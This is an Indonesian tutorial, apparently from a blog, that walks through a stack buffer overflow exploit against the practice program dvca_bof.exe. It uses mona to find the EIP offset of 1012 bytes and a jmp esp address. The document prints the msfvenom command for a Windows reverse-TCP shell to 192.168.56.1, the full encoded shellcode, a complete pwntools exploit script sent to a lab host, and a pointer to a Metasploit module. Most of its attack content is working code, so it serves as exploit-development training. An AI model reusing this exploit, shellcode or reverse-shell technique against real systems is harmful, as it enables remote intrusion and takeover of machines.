#dvca_bofexploit.py
#!/usr/local/bin/python

from pwn import *

def terima(p):
 data = p.recv(1024)
 log.info("recv: " + data)
def kirim(p, payload):
 p.sendline(payload)
 log.info("send: "+ payload)

evil = "Aa0Aa1Aa2Aa3... ...Co1Co2Co3Co4Co5Co" #shorten because it's too long
p = remote('192.168.56.103', 31331)
terima(p)
kirim(p, evil)

Jalankan script dan cek debugger

Menggunakan mona, kita bisa men-track dan menemukan offset yang meng-overwrite EIP !mona findmsp

Offset EIP berada setelah 1012 byte junk. Kita bisa menyusun payload menjadi evil = "A"*1012 + "BBBB" dimana BBBB adalah alamat dari sesuatu.

Pertanyaannya adalah alamat apa yang harus kita letakkan untuk mengganti karakter BBBB? kita bisa meletakkan alamat dimana terdapat instruksi untuk lompat ke register ESP (stack pointer) karena telah kita ketahui bahwa kita dapat menulis apapuhn di dalam stack melalui celah buffer overflow. Nantinya kita akan meletakkan opcode (operation code) agar program mengeksekusinya. Gunakan mona untuk menemukan alamat tersebut, kode assembly untuk lompat ke esp adalah jmp esp.

Ketik !mona jmp -r esp pada konsol debugger.

Kita menemukan sebuah alamat berisikan opcode yang kita inginkan. Alamat tersebut berada pada 0x133712f0 (lihat gambar). Ingat bahwa Intel x86 Assembly itu sistem berbasis little endian sehingga agar saat masuk kedalam memori alamat tidak terbalik, pada script kita harus membaliknya menjadi \xf0\x12\x37\x13. Dan terimakasih untuk pwntools yang telah menyediakan fungsi untuk meng-handle masalah tersebut, p32().

payload kita sekarang menjadi evil = "A"*1012 + p32(0x133712f0) + SHELLCODE

Shellcode

Dengan menggunakan metasploit kita generate shellcode-nya. Shellcode ridak boleh berisikan badchar (bad charachter). Badchar adalah karakter yang nantinya akan menghentikan program dalam mengeksekusi shellcode kita. Contoh pada program dvca_bof.exe, NULL atau \x00 adalah badchar-nya.

Menyusun shellcode menggunakan msfvenom:

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 
LPORT=9876 -b '\x00' -e x86/shikata_ga_nai -f python
Found a database at /Users/fokt/.msf4/db, 
checking to see if it is started
Starting database at /Users/fokt/.msf4/db...success
[-] No platform was selected, 
choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: 
x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations 
of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1684 bytes
buf =  ""
buf += "\xb8\x46\x74\x2a\x7f\xd9\xd0\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x52\x31\x46\x12\x03\x46\x12\x83\x80\x70\xc8"
buf += "\x8a\xf0\x91\x8e\x75\x08\x62\xef\xfc\xed\x53\x2f\x9a"
buf += "\x66\xc3\x9f\xe8\x2a\xe8\x54\xbc\xde\x7b\x18\x69\xd1"
buf += "\xcc\x97\x4f\xdc\xcd\x84\xac\x7f\x4e\xd7\xe0\x5f\x6f"
buf += "\x18\xf5\x9e\xa8\x45\xf4\xf2\x61\x01\xab\xe2\x06\x5f"
buf += "\x70\x89\x55\x71\xf0\x6e\x2d\x70\xd1\x21\x25\x2b\xf1"
buf += "\xc0\xea\x47\xb8\xda\xef\x62\x72\x51\xdb\x19\x85\xb3"
buf += "\x15\xe1\x2a\xfa\x99\x10\x32\x3b\x1d\xcb\x41\x35\x5d"
buf += "\x76\x52\x82\x1f\xac\xd7\x10\x87\x27\x4f\xfc\x39\xeb"
buf += "\x16\x77\x35\x40\x5c\xdf\x5a\x57\xb1\x54\x66\xdc\x34"
buf += "\xba\xee\xa6\x12\x1e\xaa\x7d\x3a\x07\x16\xd3\x43\x57"
buf += "\xf9\x8c\xe1\x1c\x14\xd8\x9b\x7f\x71\x2d\x96\x7f\x81"
buf += "\x39\xa1\x0c\xb3\xe6\x19\x9a\xff\x6f\x84\x5d\xff\x45"
buf += "\x70\xf1\xfe\x65\x81\xd8\xc4\x32\xd1\x72\xec\x3a\xba"
buf += "\x82\x11\xef\x6d\xd2\xbd\x40\xce\x82\x7d\x31\xa6\xc8"
buf += "\x71\x6e\xd6\xf3\x5b\x07\x7d\x0e\x0c\xe8\x2a\x28\xcd"
buf += "\x80\x28\x48\xeb\xc4\xa4\xae\x99\xf4\xe0\x79\x36\x6c"
buf += "\xa9\xf1\xa7\x71\x67\x7c\xe7\xfa\x84\x81\xa6\x0a\xe0"
buf += "\x91\x5f\xfb\xbf\xcb\xf6\x04\x6a\x63\x94\x97\xf1\x73"
buf += "\xd3\x8b\xad\x24\xb4\x7a\xa4\xa0\x28\x24\x1e\xd6\xb0"
buf += "\xb0\x59\x52\x6f\x01\x67\x5b\xe2\x3d\x43\x4b\x3a\xbd"
buf += "\xcf\x3f\x92\xe8\x99\xe9\x54\x43\x68\x43\x0f\x38\x22"
buf += "\x03\xd6\x72\xf5\x55\xd7\x5e\x83\xb9\x66\x37\xd2\xc6"
buf += "\x47\xdf\xd2\xbf\xb5\x7f\x1c\x6a\x7e\x8f\x57\x36\xd7"
buf += "\x18\x3e\xa3\x65\x45\xc1\x1e\xa9\x70\x42\xaa\x52\x87"
buf += "\x5a\xdf\x57\xc3\xdc\x0c\x2a\x5c\x89\x32\x99\x5d\x98"

script exploit final

#dvca_bofexploit.py
#!/usr/local/bin/python

from pwn import *

def terima(p):
 data = p.recv(1024)
 log.info("recv: " + data)
def kirim(p, payload):
 p.sendline(payload)
 log.info("send: "+ payload)

buf =  ""
buf += "\xb8\x46\x74\x2a\x7f\xd9\xd0\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x52\x31\x46\x12\x03\x46\x12\x83\x80\x70\xc8"
buf += "\x8a\xf0\x91\x8e\x75\x08\x62\xef\xfc\xed\x53\x2f\x9a"
buf += "\x66\xc3\x9f\xe8\x2a\xe8\x54\xbc\xde\x7b\x18\x69\xd1"
buf += "\xcc\x97\x4f\xdc\xcd\x84\xac\x7f\x4e\xd7\xe0\x5f\x6f"
buf += "\x18\xf5\x9e\xa8\x45\xf4\xf2\x61\x01\xab\xe2\x06\x5f"
buf += "\x70\x89\x55\x71\xf0\x6e\x2d\x70\xd1\x21\x25\x2b\xf1"
buf += "\xc0\xea\x47\xb8\xda\xef\x62\x72\x51\xdb\x19\x85\xb3"
buf += "\x15\xe1\x2a\xfa\x99\x10\x32\x3b\x1d\xcb\x41\x35\x5d"
buf += "\x76\x52\x82\x1f\xac\xd7\x10\x87\x27\x4f\xfc\x39\xeb"
buf += "\x16\x77\x35\x40\x5c\xdf\x5a\x57\xb1\x54\x66\xdc\x34"
buf += "\xba\xee\xa6\x12\x1e\xaa\x7d\x3a\x07\x16\xd3\x43\x57"
buf += "\xf9\x8c\xe1\x1c\x14\xd8\x9b\x7f\x71\x2d\x96\x7f\x81"
buf += "\x39\xa1\x0c\xb3\xe6\x19\x9a\xff\x6f\x84\x5d\xff\x45"
buf += "\x70\xf1\xfe\x65\x81\xd8\xc4\x32\xd1\x72\xec\x3a\xba"
buf += "\x82\x11\xef\x6d\xd2\xbd\x40\xce\x82\x7d\x31\xa6\xc8"
buf += "\x71\x6e\xd6\xf3\x5b\x07\x7d\x0e\x0c\xe8\x2a\x28\xcd"
buf += "\x80\x28\x48\xeb\xc4\xa4\xae\x99\xf4\xe0\x79\x36\x6c"
buf += "\xa9\xf1\xa7\x71\x67\x7c\xe7\xfa\x84\x81\xa6\x0a\xe0"
buf += "\x91\x5f\xfb\xbf\xcb\xf6\x04\x6a\x63\x94\x97\xf1\x73"
buf += "\xd3\x8b\xad\x24\xb4\x7a\xa4\xa0\x28\x24\x1e\xd6\xb0"
buf += "\xb0\x59\x52\x6f\x01\x67\x5b\xe2\x3d\x43\x4b\x3a\xbd"
buf += "\xcf\x3f\x92\xe8\x99\xe9\x54\x43\x68\x43\x0f\x38\x22"
buf += "\x03\xd6\x72\xf5\x55\xd7\x5e\x83\xb9\x66\x37\xd2\xc6"
buf += "\x47\xdf\xd2\xbf\xb5\x7f\x1c\x6a\x7e\x8f\x57\x36\xd7"
buf += "\x18\x3e\xa3\x65\x45\xc1\x1e\xa9\x70\x42\xaa\x52\x87"
buf += "\x5a\xdf\x57\xc3\xdc\x0c\x2a\x5c\x89\x32\x99\x5d\x98"

jesp = 0x133712f0

evil = "A"*1012 + p32(jesp) + "\x90"*10 + buf
p = remote('192.168.56.103', 31331)
terima(p)
kirim(p, evil)

\x90 adalah opcode dari NOP, artinya No Operation sampai menemukan opcode lain. Setelah menyusun script exploit meaning No Operation until find other opcode. Setelah exploit selesai, jalankan msfconsole.

Jalankan script eksploit dan kita mendapatkan shell.

Metasploit module

Untuk membuat script exploit menjadi portabel, kita bisa membuatnya menjadi modul metasploit sehingga metasploit dapat mengeksploitasinya secara otomatis. Saya telah membuat modul tersebut yang dapat anda lihat pada link berikut.

exploit/windows/DVCA/cbof.rb

Letakkan script tersebut pada direktori $MSF_PATH/embedded/framework/modules/exploit/windows/DVCA/ (path relatif tergantung instalasi).

Dan gunakan modul tersebut pada metasploit